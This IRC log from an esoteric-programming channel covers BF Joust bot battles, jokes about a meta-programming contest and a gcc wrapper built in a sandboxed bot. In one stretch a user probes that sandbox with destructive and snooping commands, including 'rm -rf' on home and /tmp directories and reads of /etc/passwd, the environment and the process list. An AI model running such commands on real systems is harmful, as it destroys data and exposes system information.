22:53:33 <Lymia> !bfjoust hello_world >+++++++++[<++++++++>-]<.>+++++++[<++++>-]<+.+++++++..+++.>>>++++++++[<++++>-]<.>>>++++++++++[<+++++++++>-]<---.<<<<.+++.------.--------.>>+.
22:53:42 <Gregor> Or, y'know, not :P
22:53:59 <EgoBot> Score for Lymia_hello_world: 4.1
22:54:02 <elliott> X-D
22:54:08 <Gregor> OK, something be broken :P
22:54:09 <elliott> !bfjoust I win!
22:54:17 <elliott> Gregor: No, it's just competing against really bad programs.
22:54:19 <elliott> A lot of really bad programs.
22:54:20 <Gregor> Oh dear :P
22:54:20 <elliott> OR
22:54:23 <elliott> maybe it's actually a good strategy
22:54:29 <Gregor> elliott: No, the hill is supposed to clean itself out.
22:54:29 <Lymia> Gregor, make the bot output the tape for each round.
22:54:32 <Gregor> elliott: But it's not.
22:54:38 <EgoBot> Score for elliott_I: 6.1
22:54:40 <elliott> Gregor: ISTR you increased its size.
22:54:43 <elliott> ...what, EgoBot?
22:54:46 <Lymia> Then we can output messages into the thing.
22:54:46 <elliott> oh
22:54:50 <elliott> !bf_txtgen I win!
22:54:58 <Gregor> elliott: http://codu.org/eso/bfjoust/report.txt Observe the lunacy
22:54:59 <EgoBot> 83 ++++++++++[>+++++++>+>+++>++++++++++++<<<<-]>+++.>>++.>-.--------------.+++++.<+.<. [548]
22:55:08 <elliott> Gregor: IIRC the tape is 15 long or something
22:55:14 <elliott> *hill
22:55:17 <elliott> Gregor: Err, the report is cut off.
22:55:23 <Gregor> elliott: Yes, observe the lunacy :P
22:55:26 <elliott> !bfjoust i_win ++++++++++[>+++++++>+>+++>++++++++++++<<<<-]>+++.>>++.>-.--------------.+++++.<+.<.
22:55:37 <EgoBot> Score for elliott_i_win: 1.5
22:55:39 <elliott> Gregor: Delete all the retarded-ass programs and start again :P
22:55:47 <elliott> Gregor: poop_shopping_centre downwards on that report.
22:55:50 <elliott> The rest can stay.
22:55:57 <Gregor> That's what it's SUPPOSED to do already.
22:56:02 <elliott> Gregor: Do it manually first :P
22:58:03 <elliott> hmm, I wonder if... hmm
22:58:37 <Lymia> !bfjoust likely_blond >->+>----->+++++>---->++++>--->+++>-->++(+++[-]..>---[+]..>)*50
22:58:54 <EgoBot> Score for Lymia_likely_blond: 33.5
22:59:21 -!- oerjan has quit (Quit: Good night).
22:59:46 <Lymia> !bfjoust likely_blond >->+>----->+++++>---->++++>--->+++>-->++(+[-].+>-[+].->)*50
22:59:51 <Lymia> I have no clue what this will do.
22:59:51 <Lymia> :v
22:59:53 <EgoBot> Score for Lymia_likely_blond: 32.5
23:00:01 <Phantom_Hoover> http://www.computer.org/portal/web/buildyourcareer/news/-/blogs/php-tops-list-of-hot-job-categories?_33_redirect=/portal/web/buildyourcareer/news
23:00:01 <Lymia> Worse, it seems.
23:00:04 <Phantom_Hoover> I... please...
23:00:20 <Lymia> I'll get to making an evolver I guess.
23:00:20 <Lymia> :s
23:00:23 <Phantom_Hoover> That must be an overexaggeration.
23:00:27 <Lymia> elliott, now that I think about it.
23:00:31 <Lymia> How would you score an evolver.
23:00:39 <Lymia> The early ones are likely to kill themselves.
23:00:39 <elliott> Lymia: By using egojoust's resulting score.
23:00:48 <Lymia> At fir--
23:00:49 <Lymia> Oh right.
23:01:03 <Lymia> Hmm...
23:01:11 <Lymia> Think making it generate ()*bluh ops would be an bad idea?
23:01:25 <elliott> Lymia: Might be a good idea.
23:01:35 <Gregor> !bfjoust i_hope_i_fixed_it .
23:01:35 <Sgeo> Ugh
23:01:40 <EgoBot> Score for Gregor_i_hope_i_fixed_it: 5.1
23:01:46 <Sgeo> Have to install Microsoft Visio and Microsoft Project for class
23:01:51 <Gregor> Better :P
23:02:19 <elliott> !bfjoust crap (.)*999
23:02:23 <elliott> !bfjoust crap9 (.)*9999
23:02:25 <EgoBot> Score for elliott_crap: 5.1
23:02:29 <EgoBot> Score for elliott_crap9: 4.7
23:02:34 <elliott> 999 IS BETTER
23:02:39 <Lymia> elliott, yeah.
23:02:40 <Gregor> IMMA KILL U
23:02:42 <Lymia> I think I have it figured out.
23:02:46 <Lymia> One major thing I'm wondering about though.
23:03:02 <Lymia> How would you crossover the contents of loops between bots.
23:03:07 <Lymia> Just pick random loops, and cross them over?
23:03:12 <elliott> Lymia: You could just hill-climb, rather than actually being genetic.
23:03:18 <elliott> BF doesn't really have a good concept of genes.
23:03:23 <elliott> Because code is very context-dependent.
23:03:26 <elliott> So breeding is very difficult.
23:03:37 <Lymia> So.
23:03:46 <Lymia> Just mutate with no crossing over?
23:04:06 <Lymia> Could work, I guess.
23:04:20 <elliott> Lymia: As long as you DON'T call it genetic :P
23:04:25 <elliott> It's hill-climbing.
23:04:32 <Gregor> (It's still OK to call it "evolutionary programming" :P )
23:04:36 <Lymia> (Crossing over would work better in FYB, with :; I guess)
23:04:39 <elliott> Gregor: Well, yeah.
23:04:45 <elliott> But not genetic programming or genetic algorithms or anything :P
23:05:06 <Lymia> Meh.
23:05:22 <elliott> EXAMPLE 3 In this example, the size of a variable length array is computed and returned from a
23:05:22 <elliott> function:
23:05:22 <elliott> #include <stddef.h>
23:05:22 <elliott> size_t fsize3(int n)
23:05:22 <elliott> }
23:05:24 <elliott> char b[n+3]; // variable length array
23:05:26 <elliott> return sizeof b; // execution time sizeof
23:05:27 <elliott> {
23:05:30 <elliott> WHY IS THAT VALID
23:05:32 <elliott> (What, those }s and {s are the right way around in the standard.)
23:06:05 <Lymia> IIRC, C99 supports that.
23:06:13 <Lymia> ...
23:06:17 <Lymia> The [n+3] thing, not the }{
23:06:18 <elliott> yes
23:06:20 <elliott> it's the C99 standard
23:06:22 <elliott> but stil
23:06:24 <elliott> why can you sizeof that :D
23:06:25 <elliott> *still
23:06:28 <Lymia> elliott, dunno.
23:06:33 <elliott> a bit evil
23:06:42 -!- Ajfrabbitz has quit (Quit: *disappears in a puff of orange smoke*).
23:06:44 <Lymia> I guess an array could be something like this.
23:06:49 <Lymia> [length][contents]
23:06:57 <Lymia> And the returned pointer is in between them.
23:07:05 -!- TLUL has joined.
23:07:06 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>-)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*20[-]
23:07:09 <EgoBot> Score for impomatic_sexyghoul: 33.0
23:07:29 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*20[-]
23:07:34 <EgoBot> Score for impomatic_sexyghoul: 33.7
23:07:44 <elliott> It's the sexiest ghoul that's a computer program and not a ghoul!
23:07:50 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*20[-]
23:07:51 <Lymia> elliott, so.
23:07:54 <EgoBot> Score for impomatic_sexyghoul: 31.3
23:07:58 <Lymia> For basic mutations, I'm thinking something like this.
23:08:37 <Lymia> Modify instruction, encase in loop, encase in repeat, duplicate (creates two copies which can be modified independently), deencase, delete instruction, add instruction.
23:08:50 -!- Cheery has quit (Quit: Lost terminal).
23:09:10 -!- Phantom_Hoover has quit (Remote host closed the connection).
23:09:21 <Lymia> Oh well.
23:09:23 <elliott> Lymia: Sure. Can delete instruction delete a [ or ]?
23:09:25 <Lymia> Enough thinking about it, and more coding time.
23:09:31 <Lymia> elliott, [] counts as one instruction, I guess.
23:09:40 <elliott> Hmm.
23:09:42 <Lymia> Actually.
23:09:47 <Lymia> Why do we need deencase.
23:09:50 <Lymia> If it tries to delete a loop.
23:09:52 <Lymia> It removes the loop.
23:09:52 <elliott> You don't.
23:09:55 <Lymia> But not the contents.
23:10:00 <elliott> Lymia: Nor do you need encase.
23:10:12 <elliott> abc -> insert [ -> a[b]c (] is added automatically) -> move a -> [ab]c
23:10:20 <elliott> So you just need a "move instruction forwards/backwards".
23:10:28 <Lymia> Wait.
23:10:29 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*21[-]
23:10:31 <Lymia> Does the intrepter do that?
23:10:34 <EgoBot> Score for impomatic_sexyghoul: 36.9
23:10:51 <Gregor> Hahahah BEST IDEA EVER: Metabfjoust: Submit a program that writes a bfjoust program, with all the other bfjoust programs on the last hill as input.
23:10:58 <Lymia> (I fail at spelling today^H^H^H^H^H)
23:10:59 <elliott> Gregor: X-D
23:11:05 <Lymia> Gregor, MetaFYB.
23:11:07 <Lymia> Do it.
23:11:17 <elliott> They're FYB programs that output BF Joust programs.
23:11:18 <Lymia> (Of course, you know what I would submit for it)
23:11:34 <Sgeo> Lymia, hmm?
23:11:45 <Lymia> elliott, while trying to kill eachother.
23:11:53 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*120[-]]]]]]]]]]]]]])*21[-]
23:11:57 <EgoBot> Score for impomatic_sexyghoul: 36.6
23:12:10 <Gregor> Lymia: Remember, all the other "programs" are actually programs to write the programs, and you only get the last program they wrote as input.
23:12:25 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]]---)*21[-]
23:12:27 <Lymia> Gregor, hmm...
23:12:31 <EgoBot> Score for impomatic_sexyghoul: 34.3
23:12:31 <Lymia> What language would this be written in?
23:12:39 <Gregor> Lymia: Idonno, C? :P
23:12:45 <Lymia> I mean, the program writers.
23:12:45 <elliott> JAVA
23:12:49 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*21[-]
23:12:50 <elliott> Lymia: Brainfuck. DUH
23:12:52 <elliott> Or...
23:12:53 <Gregor> Lymia: ... yes, C.
23:12:53 <EgoBot> Score for impomatic_sexyghoul: 36.9
23:12:55 <elliott> INTERCAL.
23:12:56 <Lymia> Gregor, ah.
23:12:58 <Lymia> So.
23:12:59 <elliott> INTERCAL OUTPUTTING BRAINFUCK
23:13:04 <elliott> Gregor: Nonono
23:13:06 <elliott> Gregor: They have to be IRC-sized
23:13:07 <Lymia> What's to stop you from making an evolutional sim.
23:13:09 <elliott> Brainfuck is clearly the superior choice.
23:13:12 <Gregor> elliott: Hm, fair point.
23:13:16 <Gregor> Lymia: Nothing.
23:13:19 <impomatic> I think I'll stick to 36.9 for today :-)
23:13:20 <Lymia> i.e.
23:13:23 <Lymia> Take all programs as input.
23:13:29 <elliott> Gregor: Instead of having a . instruction, have instructions to output all the valid things.
23:13:31 <elliott> i.e.
23:13:34 <Lymia> Make an internal hill, and evolve them with eachother.
23:13:42 <Lymia> And output the top of that hill.
23:13:43 <elliott> .+
23:13:45 <elliott> .-
23:13:47 <elliott> ..
23:13:48 <elliott> .<
23:13:52 <elliott> .> .[ .]
23:13:54 <elliott> .( .) .% .*
23:14:02 <elliott> i.e., . is a compound instruction taking the instruction to output.
23:14:08 <elliott> That would avoid hideously complex "text generation" :P
23:14:21 <Gregor> *brain axplote*
23:14:21 <Lymia> MetaMetaBFJoust
23:14:31 <Lymia> Make programs that write programs that write BF Joust programs.
23:14:45 <Lymia> Or. Better idea.
23:14:53 <Lymia> FYBJoust
23:14:59 <Lymia> You must write a program that's a polygot of both.
23:15:12 <Gregor> That's ... actually not a bad idea.
23:15:48 <elliott> That's a terrible idea :P
23:15:55 <Lymia> !bfjoust dead [-
23:15:59 <EgoBot> Score for Lymia_dead: 5.1
23:16:01 <elliott> Meta^NBFJoust
23:16:04 <elliott> It takes N as an input.
23:16:18 <elliott> If N=0, it must act as a BF Joust program after reading that.
23:16:27 <elliott> If N=1, it must write a BF Joust program, given the current BF Joust hill as input.
23:16:36 <Gregor> Meta^NBFJoust = every time the hill is run, it's one level of meta further :P
23:16:55 <elliott> If N=2, it must write a program that (writes a BF Joust program, given the current BF Joust hill as input), given the current MetaBFJoust hill as input.
23:16:58 <elliott> So on, so forth.
23:17:00 <elliott> How is N decided?
23:17:03 <elliott> Simple!
23:17:08 <elliott> It runs N=0 to N=64 on all programs.
23:17:13 <Gregor> lol
23:17:21 <Lymia> :@+[joust code]*;fyb code
23:17:22 <Lymia> Of course.
23:17:29 <Lymia> FYBJoust wouldn't be hard.
23:17:29 <Lymia> :v
23:17:32 <elliott> And then pits the resulting BF Joust programs against the BF Joust hill, picks the top one,
23:17:34 <elliott> and adds it to the hill.
23:17:34 <elliott> FUCK YEHA
23:17:37 <elliott> *YEAH
23:18:01 <elliott> Gregor: Implemented it yet?
23:18:08 <Lymia> elliott, super-quines.
23:18:08 <Lymia> :v
23:18:41 <Gregor> elliott: I'm slightly happier with the Meta^1BFJoust idea :P
23:18:57 <elliott> Gregor: OK, fine. Meta^\inftyBFJoust.
23:19:06 <Lymia> elliott, now that's just silly.
23:19:21 <elliott> Gregor: Brainfuck programs must output programs that output programs that ... , given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill.
23:19:28 <elliott> *...,
23:19:34 <Gregor> !supermetabfjoust i_will_solve_the_motherfucking_halting_problem ...
23:20:07 <elliott> :D
23:20:16 <elliott> <elliott> Gregor: Brainfuck programs must output programs that output programs that ... , given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill, given the current Meta^\inftyBFJoust hill.
23:20:18 <elliott> COME ON THIS IS THE BEST IDEA
23:20:31 <Gregor> If I make MetaBFJoust, will anybody actually play? It's actually not the worst idea ever :P
23:20:51 <elliott> Gregor: I'll play Meta^\inftyBFJoust. :p
23:20:56 <elliott> MetaBFJoust, MAYBE.
23:21:12 <elliott> Gregor: Make the programs be Scheme programs... Why? Because:
23:21:19 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:21:23 <elliott> Gregor: (1) They can just output lists, basically, so it's easy for them to handle nesting, and for you to avoid getting invalid programs,
23:21:36 <elliott> Gregor: (2) "Easy" enough to sandbox, I think there are implementations designed for it, maybe Elk Scheme,
23:21:38 <Lymia> Gregor, sure.
23:21:41 <elliott> Gregor: (3) C is a fucking pain.
23:21:47 <Lymia> Eh
23:21:57 <Lymia> I'd have to learn Scheme then.
23:21:57 <Lymia> D=
23:21:59 <elliott> Lymia: Having to malloc when you're busy trying to write a program-writing program = lame :P
23:22:00 <Gregor> I'm willing to consider other host languages, but not Scheme :P
23:22:09 <elliott> Gregor: Got any better ideas? :p
23:22:17 <Gregor> JAVASCRIPT
23:22:18 <Lymia> Java?
23:22:21 <elliott> Gregor: No.
23:22:21 <Sgeo> Gregor, why not Scheme?
23:22:23 <elliott> Lymia: ... gtfo.
23:22:25 <elliott> gtfo and die.
23:22:26 <Lymia> elliott, :(
23:22:29 * Lymia does so
23:22:30 * Lymia is now dead
23:22:32 <Gregor> Sgeo: The number one problem with Scheme is that it's Scheme.
23:22:52 <elliott> Gregor hates languages with parentheses because they obsolete his job as a language-designer. :}
23:23:24 <elliott> Ha I can feel his anger
23:23:27 <elliott> His fury, his hatred
23:23:34 <elliott> Transmitted through his silence
23:23:36 <Lymia> Gregor, make it take Perl programs.
23:23:43 <elliott> Lymia: ...you are the worst.
23:23:43 <Lymia> Then we can fit it on IRC.
23:23:43 <Gregor> I could just make it anything #!/usr/bin/envable
23:23:48 <Gregor> And install tcc
23:23:57 <elliott> #!/bin/cat
23:23:59 <Lymia> elliott, what.
23:24:01 <elliott> (insert really good bf joust program)
23:24:03 <Lymia> I'm being practical.
23:24:05 <elliott> Lymia: You've suggested
23:24:06 <elliott> (1) Java
23:24:07 <elliott> (2) Perl
23:24:14 <Lymia> Perl is easy to fit on IRC!
23:24:16 <Gregor> elliott: That'd be step-one, yeah
23:24:19 <elliott> YOU SAID FUCKING JAVA
23:24:19 <Lymia> Java is easy to sandbox!
23:24:22 <elliott> NO IT'S NOT
23:24:28 <elliott> IT HAS JUST AS MUCH ACCESS AS ANY LANGUAGE
23:24:31 <elliott> YOU ARE BAD
23:24:32 <elliott> BAD PERSON
23:24:33 <elliott> BAD
23:24:36 <Lymia> It has the SecurityManager mechenism.
23:24:38 <Lymia> :V
23:24:43 * Lymia hides from elliott
23:24:48 <elliott> ...
23:24:54 <elliott> Gregor: Seriously, let's just kill this guy.
23:25:04 -!- Lymia has quit (Quit: *killed*).
23:25:06 <elliott> I am willing to put our language differences aside to unite against people who like Java in any way at all.
23:25:14 <elliott> lawl, I scared him away :P
23:25:25 -!- Lymia has joined.
23:25:27 <Lymia> Is it safe now?
23:25:41 <elliott> NO
23:25:44 <Gregor> Rarely
23:25:46 <elliott> I HAVE KNIFE
23:25:57 <Gregor> Let's just agree on LLVM bytecodes <trollface>
23:25:59 <Sgeo> In theory, Newspeak should be sandboxable. In practice, it's not there yet.
23:26:08 <elliott> xD
23:26:12 <elliott> Gregor: x86 asm
23:26:15 <elliott> make it all x86 asm
23:26:18 <elliott> so hardc0r3
23:26:19 <Sgeo> Hey, shutup's dead
23:26:21 <Gregor> elliott: ITYM machine code
23:26:22 <Sgeo> So is updog.
23:26:29 <Sgeo> What a crazy, crazy coincidence.
23:26:43 <elliott> I wish. It's machine code.
23:26:44 <Gregor> I honestly think the #1 problem with MetaBFJoust is we could never ever agree on the host language :P
23:26:45 <elliott> </oblig.>
23:27:02 <elliott> Gregor: Hackiki-style seems like the best idea to me. Just install Scheme 48. :p
23:27:04 <Lymia> Gregor, make it anything with a shebang or a native ELF executable.
23:27:07 <elliott> Gregor: Do it in HackEgo.
23:27:10 <elliott> Then we can install our own languages.
23:27:13 <elliott> Lymia: ELF executable? Naw.
23:27:14 <Sgeo> Make it run Parrot VM bytecode, so we could chose the language
23:27:18 <elliott> You can even do C, like:
23:27:21 <elliott> #!/bin/sh
23:27:32 <elliott> gcc -x c $(tail -n +3 $0) -o foo
23:27:34 <Gregor> Yeah, shebang is good I think.
23:27:35 <elliott> exec ./foo
23:27:37 <elliott> ...c code here...
23:27:38 <elliott> Or whatever.
23:27:43 <Sgeo> Didn't we fail to get Factor running on HackEgo?
23:27:46 <elliott> In fact, I'll make a rungcc now to do that in HackEgo.
23:27:49 <elliott> Gregor: Srsly, do it in HackEgo :P
23:27:55 <elliott> Moar flexible.
23:28:05 <elliott> `run pwd
23:28:10 <HackEgo> /tmp/hackenv.9639
23:28:13 <elliott> Hmm, is ./bin always in PATH?
23:28:15 <Gregor> elliott: Sure *shrugs*
23:28:23 <Gregor> `run echo $PATH
23:28:23 <elliott> e.g. will "#!/usr/bin/env foo" run bin/foo?
23:28:24 <HackEgo> /tmp/hackenv.9681/bin:/opt/python27/bin:/usr/bin:/bin
23:28:28 <elliott> Rite.
23:28:33 <elliott> (lawl @ python there)
23:28:40 <Gregor> elliott: YOUR FAULT
23:28:44 <Lymia> #!/bin/sh
23:28:48 <Lymia> *insert shar stuff here*
23:28:53 <Lymia> java -jar killmenow.jar
23:28:54 <Sgeo> Gregor, why do you prefer Mercurial?
23:29:12 <Lymia> Gregor, how do you make sure that the program only accesses the BF Joust hill.
23:29:15 <elliott> Gregor: Link me to the !c interpreter thing?
23:29:17 <elliott> In HackEgo.
23:29:19 <Gregor> Sgeo: Because git is terrible.
23:29:21 <Lymia> And dosn't, say, use /etc/passwd as input.
23:29:26 <Sgeo> Gregor, how so?
23:29:28 <elliott> Lymia: What?
23:29:58 <Gregor> Sgeo: Its design and user interface are needlessly complicated.
23:30:00 <Lymia> elliott, how do you make sure that the MetaBFJoust program dosn't take things it's not supposed to as input.
23:30:13 <elliott> Gregor: git's design is actually stupidly over-simple.
23:30:18 <Sgeo> Gregor, I'm not using Git direcctly. I found a nice GUI
23:30:21 <Lymia> Gregor, are the programs allowed to store persistant state, or do they only take the hill programs as input.
23:30:23 <elliott> Gregor: (About as stupidly-simple as Mercurial's)
23:30:31 <Gregor> GOOD FEKKING LORD TOO MUCH STUFF
23:30:51 <elliott> `run echo '#!/bin/sh' >bin/rungcc; echo 'name=$(mktemp)' >>bin/rungcc; echo 'gcc -x c -O2 -std=gnu99 "$(tail -n +1 "$0")" -o "$name"' >>bin/rungcc
23:30:53 <Gregor> elliott: I don't mean the repository design, I mean the design behind how the command is used. I guess that's UI, but eh :P
23:30:58 <Lymia> Also.
23:30:59 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
23:30:59 <HackEgo> No output.
23:31:03 <Gregor> Sgeo: Then you don't like git, you like that UI.
23:31:09 <Gregor> Lymia: They could store persistent state.
23:31:20 <elliott> `run echo 'shift' >> bin/rungcc
23:31:22 <HackEgo> No output.
23:31:24 <Sgeo> Gregor, ok, but I have no reason to hate it. Your only reason so far is bad UI
23:31:26 <elliott> Gregor: No persistent state, dude :P
23:31:30 <elliott> That leaves BF out.
23:31:45 <Gregor> elliott: That doesn't leave BF out, it just doesn't help BF :P
23:31:46 <elliott> `run echo 'exec "$name" "$@"; st=$?' >>bin/rungcc
23:31:47 <HackEgo> No output.
23:31:48 <Lymia> elliott, you could store the tape as persistant state.
23:31:59 <elliott> `run echo 'rm -f "$name" 2>/dev/null' >>bin/rungcc
23:32:01 <HackEgo> No output.
23:32:03 <elliott> Lymia: *persistent
23:32:08 <elliott> Gregor: I suggest no persistent state :P
23:32:13 <elliott> `run echo 'exit $?' >>bin/rungcc
23:32:14 -!- augur has quit (Remote host closed the connection).
23:32:14 <HackEgo> No output.
23:32:15 <elliott> `url bin/rungcc
23:32:17 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bin/rungcc
23:32:23 <Lymia> echo hi > /etc/passwd
23:32:24 <Gregor> elliott: lurn2exec
23:32:25 <elliott> `run chmod +x bin/rungcc
23:32:27 <HackEgo> No output.
23:32:30 <elliott> Gregor: Oops :P
23:32:39 <Lymia> cat /etc/passwd
23:32:40 <elliott> `run sed -i 's/exec //' bin/rungcc
23:32:41 <HackEgo> No output.
23:32:46 <elliott> Lymia: ITT: permissions
23:32:51 <Lymia> Heh.
23:33:04 <elliott> `run echo '#!/usr/bin/env rungcc' >test; echo 'int main() { return 42; }' >>test
23:33:05 <HackEgo> No output.
23:33:07 <elliott> `run chmod +x test
23:33:08 <HackEgo> No output.
23:33:09 <elliott> `run ./test
23:33:14 <elliott> C'MON DUDE
23:33:15 <Lymia> `run echo $USER
23:33:16 <HackEgo> No output.
23:33:16 <elliott> WE'RE ALL COUNTING ON YOU
23:33:18 <elliott> `run ./test; echo $?
23:33:19 <HackEgo> No output.
23:33:20 <HackEgo> 0
23:33:21 <elliott> what
23:33:23 <elliott> what
23:33:24 <elliott> oh
23:33:26 <elliott> aahahaha
23:33:27 <elliott> i fail
23:33:28 <Lymia> `run env >> env
23:33:29 <HackEgo> No output.
23:33:31 <Lymia> `url env
23:33:32 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/env
23:33:34 <elliott> `run sed -i 's/exit $?/exit $st/' bin/rungcc
23:33:36 <HackEgo> No output.
23:33:39 <elliott> `run ./test; echo $?
23:33:41 <HackEgo> 127
23:33:46 <elliott> :what:
23:33:55 <elliott> oh lol
23:33:56 <elliott> ok edit time
23:34:03 <Gregor> I'm unwilling to read all this shit :P
23:34:05 <elliott> `run ./test 2>&1; echo $?
23:34:06 <HackEgo> /usr/bin/gcc: /usr/lib/plash/lib/libc.so.6: version `GLIBC_2.11' not found (required by /usr/bin/gcc) \ /tmp/tmp.GVNllRRSA1: error while loading shared libraries: /tmp/tmp.GVNllRRSA1: file too short \ 127
23:34:08 <Gregor> TOO MUCH STUFF
23:34:08 <Lymia> `run UNDO=rm -rf /*
23:34:09 <HackEgo> No output.
23:34:10 <elliott> WHAT
23:34:11 <elliott> THE
23:34:11 <elliott> FUCK
23:34:13 <elliott> at that
23:34:16 <elliott> Lymia: what
23:34:23 <elliott> "file too short" xD
23:34:28 <elliott> `run gcc
23:34:29 <HackEgo> No output.
23:34:30 <elliott> `run gcc 2>&1
23:34:31 <HackEgo> /usr/bin/gcc: /usr/lib/plash/lib/libc.so.6: version `GLIBC_2.11' not found (required by /usr/bin/gcc)
23:34:36 <Lymia> `run rm -rf /home/hackbot/*
23:34:36 <elliott> Gregor: Dude, gcc is broken.
23:34:37 <HackEgo> No output.
23:35:05 <Lymia> `run rm -rf /tmp/* > bluhbluh
23:35:09 <Lymia> `url bluhbluh
23:35:15 <HackEgo> No output.
23:35:15 <Sgeo> Gregor, if you work, then switch over to a different branch or commit in Hg, but working space isn't clean, does Hg warn you?
23:35:17 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/bluhbluh
23:35:20 <Sgeo> Git doesn't seem to
23:35:50 <elliott> `fetch http://sprunge.us/OfHY
23:35:53 <HackEgo> 2011-02-04 23:54:07 URL:http://sprunge.us/OfHY [153] -> "OfHY" [1]
23:35:58 <elliott> `run mv OfHY bin/rungcc; chmod +x bin/rungcc
23:35:59 <HackEgo> No output.
23:36:03 <elliott> `run ./test
23:36:04 <HackEgo> No output.
23:36:06 <elliott> `run ./test 2>&1
23:36:07 <HackEgo> /usr/bin/gcc: /usr/lib/plash/lib/libc.so.6: version `GLIBC_2.11' not found (required by /usr/bin/gcc)
23:36:09 <elliott> Gregor: plz 2 be fixing gcc
23:36:33 <Lymia> `run ps aux > ps
23:36:35 <HackEgo> No output.
23:36:36 <Lymia> `url ps
23:36:38 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/ps
23:36:48 -!- HackEgo has quit (Remote host closed the connection).
23:36:49 -!- EgoBot has quit (Remote host closed the connection).
23:36:51 <elliott> What the fuck are you doing, Lymia?
23:36:58 <Lymia> Nothing.
23:37:00 <elliott> What the fuck are you doing, Gregor :P
23:37:03 -!- EgoBot has joined.
23:37:09 <elliott> I LIKE HOW APACHE IS ON THAT LIST
23:37:11 <Gregor> Taking down HackEgo for a tick
23:37:15 <elliott> Why :P
23:37:18 <elliott> To fix gcc?
23:37:22 <Gregor> Yes
23:37:28 <elliott> 0 30204 0.0 3.6 116792 38144 ? S Jan28 0:01 spamd child
23:37:29 <elliott> GREGOR IS SPAMMER
23:37:45 <Lymia> `run wget whatismyip.org -O - > ip
23:37:49 <Lymia> `url ip
23:37:57 <Lymia> Wait.
23:37:58 <Lymia> >.>
23:38:13 -!- impomatic has joined.
23:38:57 <impomatic> I get a 403 forbidden when I try to access the bfjoust report :-(
23:38:59 <Lymia> 5000 8147 0.0 0.1 45960 1440 ? S 23:13 0:00 su - egobot
23:38:59 <Lymia> ?
23:39:09 <elliott> EGOBOT RUNS AS ROOT OBVS
23:39:38 <Lymia> So.
23:39:39 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[++++++[-[-[-[-[-[--[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*21[-]
23:39:42 <Lymia> Why does Gregor have spamd.
23:40:04 <EgoBot> Score for impomatic_sexyghoul: 36.9
23:40:06 <impomatic> !bfjoust sexyghoul >(-)*9>(+)*9(>---)*6(>[+[+[+[+[+[+[(-)*7[-[-[-[-[-[(-)*122[-]]]]]]]]]]]]]])*21[-]
23:40:14 <EgoBot> Score for impomatic_sexyghoul: 37.4
23:40:39 <elliott> Lymia: it's an anti-spam daemon stoopid
23:40:50 <Lymia> I just googled it.
23:40:50 <Lymia> =p
23:41:06 <Gregor> It's spam-ass-ass-in
23:42:03 <elliott> Ass in, ass out.
23:46:20 <Gregor> http://www.nationformarriage.org/atf/cf/%7B39D8B5C1-F9FE-48C0-ABE6-1029BA77854C%7D/JewishEnglish.pdf LOOOOOOOOOOOOOOL. "Why Marriage Matters: SEVEN SCIENTIFIC REASONS". First words under that header? "In Jewish tradition,"
23:46:28 <Gregor> Yes, you're well on your way to a scientific reason now :P
23:46:45 <elliott> Gregor: HOW CAN YOU SAY THAT AS A JEW
23:47:16 <elliott> [[
23:47:16 <elliott> “How will my same-sex marriage hurt your marriage?” Same-sex marriage advocates
23:47:16 <elliott> want to force everyone to dramatically and permanently alter our definition of marriage
23:47:16 <elliott> and family.]]
23:47:18 <elliott> What X-D
23:47:42 <elliott> [[
23:47:42 <elliott> “Is same-sex marriage like interracial marriage?” Laws against interracial marriage were about keeping
23:47:42 <elliott> two races apart, so that one race could oppress the other, and that is wrong. Marriage is about bringing male
23:47:42 <elliott> and female together, so that children have mothers and fathers, and so that women aren’t stuck with the
23:47:43 <elliott> enormous, unfair burdens of parenting alone--- and that is good.]]
23:47:45 <elliott> ??????????????/
23:47:47 <elliott> Gregor this makes less than no sense.
23:48:01 <elliott> [[“Is polygamy next?” Jonathan Yarbrough, part of the first couple to get a same-sex marriage in
23:48:01 <elliott> Provincetown, Mass, said, “I think it’s possible to love more than one person and have more than one
23:48:01 <elliott> partner. . . . In our case, it is. We have an open marriage.” Once you rip a ship off its mooring who knows
23:48:01 <elliott> where it will drift next?]]
23:48:02 <elliott> ...your point?
23:48:05 <Gregor> NOM is so good :P
23:48:23 <elliott> well that was the stupidest.
23:48:24 <impomatic> Gregor: is something wrong with http://codu.org/eso/bfjoust/report.txt ? "Forbidden - You don't have permission to access /eso/bfjoust/report.txt on this server."
23:48:40 -!- elliott has left (?).
23:48:41 -!- poiuy_qwert has joined.
23:48:43 -!- elliott has joined.
23:49:01 <Gregor> impomatic: Because I broke egobot instead of hackego LOL
23:49:33 <Gregor> impomatic: Fixt
23:49:51 <impomatic> Thanks :-)
23:49:51 <elliott> lol, remember when Gregor was incompetent
